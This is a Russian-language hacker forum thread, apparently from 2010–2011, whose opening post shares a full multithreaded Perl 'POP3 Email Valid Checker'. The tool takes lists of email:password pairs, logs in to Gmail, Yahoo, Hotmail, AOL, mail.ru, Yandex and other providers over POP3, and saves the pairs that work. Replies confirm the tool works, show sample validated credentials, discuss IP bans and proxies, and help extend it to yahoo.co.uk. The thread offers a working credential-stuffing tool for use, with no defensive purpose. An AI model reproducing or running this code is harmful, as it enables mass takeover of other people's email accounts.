Старый 05.12.2010, 02:24   #1
FIXER
 
Аватар для FIXER
 
Регистрация: 06.07.2010
Сообщений: 220
Репутация: 51
По умолчанию POP3 Email Valid Cheсker

Посмотрев этот пост с другом (Dr.Tro) хотели развивать тему и доработать, но получился почти с нуля (спасибо за идею daniel_1024 )

Поддерживаемые домены:
▌mail.ru
▌bk.ru
▌inbox.ru
▌list.ru
▌ya.ru
▌yandex.ru
▌narod.ru
▌rambler.ru
▌ukr.net
▌freemail.ru
▌meta.ua
▌i.ua
▌pochta.ru

http://fixer.whitehat.ru/Email Valid Checker.pl юзайте
или http://www.multiupload.com/BQVAI8HCT0
Чекает все перечисленные почтавики + gmail.com, yahoo.com, hotmail.com, aol.com.
Код:
#!/usr/bin/perl

###############################################################
#                                                             #
#  Dr.Tro and shell_c0de for antichat.ru,inattack.ru.rdot.org #
#                                                             #
###############################################################

use warnings;
use strict;

use threads;
use threads::shared;

use IO::Socket;
use IO::Socket::SSL;

use Fcntl ':flock';

### Настройки

my $accounts_file = 'ac.txt'; # Файл с аккаунтами
my $accounts_delimiter = ':'; # Разделитель логина и пароля
my $good_file = 'good.txt';
my $bad_file = 'bad.txt';
my $log_bad = 1;
my $timeout = 10;
my $threads_count = 10; # Количество потоков

### ---------

my %servers = (
	'gmail.com' => {
		'port' => 995, 
		'ssl' => 1,
		'login_email' => 1
	},
	'hotmail.com' => {
		'host' => 'pop3.live.com', 
		'port' => 995, 
		'ssl' => 1,
		'login_email' => 1
	},
	'yahoo.com' => {
		'host' => 'plus.pop.mail.yahoo.com',
		'port' => 995, 
		'ssl' => 1
	},
	'aol.com' => {
		'port' => 995, 
		'ssl' => 1,
		'login_email' => 1
	}
);

my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0);
my @threads = ();

$| = 1;

my @accounts : shared;
(open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!";
push @accounts, $_ while <FH>;
close FH;

open FH, '>', $good_file;
close FH;

if ($log_bad) {
	open FH, '>', $bad_file;
	close FH;
}

sub thread_print {
	my ($str) = "@_ [thread ".threads->tid()."]";
	$str .= " " x (78 - length $str) if length $str < 79;
	print $str."\n";
	$str = '';
	$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
	print $str.'[threads: '.(scalar threads->list() + 1)."]\r";
}

sub check_account {
	while (1) {
		last if !@accounts;
		my $account = lc shift @accounts;
		chomp $account;
		if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
			my ($login, $host, $password) = ($1, $2, $3);
			my $r_login = $login;
			my $sock;			
			if ($servers{$host}) {
				$r_login = "$login\@$host" if ${$servers{$host}}{'login_email'};
				if (${$servers{$host}}{'ssl'}) {
					eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
				} else {
					eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
				}
			} else {
				eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout);	};
			}
			if ($sock) {
				$sock->autoflush(1);
				my $answ;
				$answ = <$sock>;
				my $bad = 1;  
				if ($answ && substr($answ, 0, 1) eq '+') { 
					print $sock "USER $r_login\n"; 
					$answ = <$sock>;
					if ($answ && substr($answ, 0, 1) eq '+') { 
						print $sock "PASS $password\n";
						$answ = <$sock>;
						if ($answ && substr($answ, 0, 1) eq '+') {
							print $sock "QUIT\n"; 
							close $sock;
							$bad = 0;
							thread_print "[+] $login\@$host$accounts_delimiter$password"; 
							{ lock %statictis; $statictis{'good'}++; } 
							open FH, '>>', $good_file;
							flock FH, LOCK_EX;
							print FH "$login\@$host$accounts_delimiter$password\n";
							flock FH, LOCK_UN;
							close FH;
						} elsif ($answ && $answ =~ /SYS\/PERM/) {
							$bad = 0;
							{ lock %statictis; $statictis{'error'}++; } 
							thread_print "[~] $login\@$host$accounts_delimiter$password"; 
						}
					}
				}
				if ($bad) {
					thread_print "[-] $login\@$host$accounts_delimiter$password"; 
					{ lock %statictis; $statictis{'bad'}++; } 
					if ($log_bad) {
						open FH, '>>', $bad_file;
						flock FH, LOCK_EX;
						print FH "$login\@$host$accounts_delimiter$password\n";
						flock FH, LOCK_UN;
						close FH;
					}
				}
			} else {
				{ lock %statictis; $statictis{'error'}++; } 
				thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";
			}
		}
	}
	threads->exit->detach;
}

$threads_count = $#accounts if $#accounts < $threads_count;
$threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1;
$_->join for @threads;
my $str;
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
print "$str\n";

Последний раз редактировалось FIXER; 05.12.2010 в 15:02..
FIXER вне форума   Ответить с цитированием
Старый 05.12.2010, 12:56   #2
Dr.TRO
 
Аватар для Dr.TRO
 
Регистрация: 06.07.2010
Сообщений: 90
Репутация: 21
По умолчанию

если что то легко сервис любой добавить, думаю любой минимально щарящий поймет как.
__________________
http://fc01.deviantart.net/fs48/f/20...eyecixramd.png
http://img156.imageshack.us/img156/2...userbartd7.png
Цитата:
root@rdot.org ~ # perl -MAcme::BadExample
Dr.TRO вне форума   Ответить с цитированием
Старый 14.12.2010, 21:14   #3
sandym
 
Регистрация: 14.12.2010
Сообщений: 1
Репутация: 0
По умолчанию

Что скажу - нашел этот скрипт позавчера на одном сайте - пастебин- вчера на ачате выложил - так как запустить не смог, сегодня запустил - на хотмыле, аол и гмаил не чекает - видать бан по ип - проксей не хватает, написал ТС - в личку - не отвечает - следовательно ТС не разработчик - скрипт написан для иннатак.ру - лажа полная, нашел только что daniel_1024 - отпишу в личку может поможет
мой топик на ачате https://forum.antichat.ru/thread247343.html
теперь сомневаюсь в своих словах - может ТС и разработал
в общем нужен чекер у кого есть на ачате мой ник veritsswf
sandym вне форума   Ответить с цитированием
Старый 15.12.2010, 19:27   #5
skynet
 
Аватар для skynet
 
Регистрация: 25.07.2010
Сообщений: 9
Репутация: 0
По умолчанию

проверил mail.ru все пашет нормуль
C:\perl\perl\bin>perl 666.pl
[+] root_12345@mail.ru:a1234567 [thread 2]
[-] 12121212@mail.ru:4343434343 [thread 1]
[-] logo_666@mail.ru:54675456 [thread 3]
[ bad - 2 ][ good - 1 ][ error - 0 ][threads: 3]
skynet вне форума   Ответить с цитированием
Старый 17.03.2011, 17:04   #6
[cash]
 
Аватар для [cash]
 
Регистрация: 07.07.2010
Сообщений: 36
Репутация: 3
По умолчанию

народ кто кодит на perl помогите переделать yahoo.com на yahoo.co.uk из-за 2ух точек в домене некооректно парсит лист.

Спасибо.
__________________
.old school.
[cash] вне форума   Ответить с цитированием
Старый 17.03.2011, 18:56   #7
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

Цитата:
Сообщение от [cash] Посмотреть сообщение
народ кто кодит на perl помогите переделать yahoo.com на yahoo.co.uk из-за 2ух точек в домене некооректно парсит лист.

Спасибо.
Кодю на notepad.exe
CTRL+O -> "accounts_list.txt" -> CTRL+H -> Find what: "yahoo.co.uk" | Replace with: "yahoo.com" -> "Replace All" -> CTRL+S -> ALT+F4

Пожалуйста.
M_script вне форума   Ответить с цитированием
Старый 18.03.2011, 11:50   #8
[cash]
 
Аватар для [cash]
 
Регистрация: 07.07.2010
Сообщений: 36
Репутация: 3
По умолчанию

это разные домены. проставя завмена не поможет
__________________
.old school.
[cash] вне форума   Ответить с цитированием
Старый 18.03.2011, 13:00   #9
Fepsis
 
Аватар для Fepsis
 
Регистрация: 05.07.2010
Сообщений: 55
Репутация: 9
По умолчанию

[cash], настройки для подключения по pop3 знаешь для своего yahoo.co.uk.?!

Как я понял, по дефолту скрипт работает с такими настройками для мыла "email@domen.com" - хост: pop.domen.com, порт: 110, логин: email...

Если для твоего почтовика настройки не такие, то добавляй свои настройки в хеш %servers в виде:

Код:
	'domen.com' => {
		'host' => 'pop3.domen.com', # рор3-сервер
		'port' => 100500, # pop3-порт
		'ssl' => 1, # если юзается защищённое соединение
		'login_email' => 1 # если в качестве логина нужно указать не email, а email@domen.com
	}
На оф сайте чёто настроек не вижу, нашёл тут, пост 2008 года, но если ему верить, то должно быть так:

Код:
	'yahoo.co.uk' => {
		'host' => 'pop.mail.yahoo.co.uk',
		'port' => 995,
		'ssl' => 1,
		'login_email' => 1
	}
__________________
Новый покер-клуб RDot.org

Номер клуба: 619854
Код приглашения: q1w2e3r4t5y
Скачать клиент: клац
Fepsis вне форума   Ответить с цитированием
Старый 19.03.2011, 07:21   #10
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

Цитата:
Сообщение от [cash] Посмотреть сообщение
это разные домены. проставя завмена не поможет
Разные домены - это "yahoo.com", "ymail.com", "rocketmail.com". Остальные "yahoo.*" - это тот же самый "yahoo.com"
Попробуй зарегистрировать "твой_логин@yahoo.co.uk:твой_паро ль". После этого "твой_логин@yahoo.com" станет недоступен для регистрации. Потом попробуй зайти через веб-интефейс используя "твой_логин@yahoo.com:твой_парол ь"
M_script вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot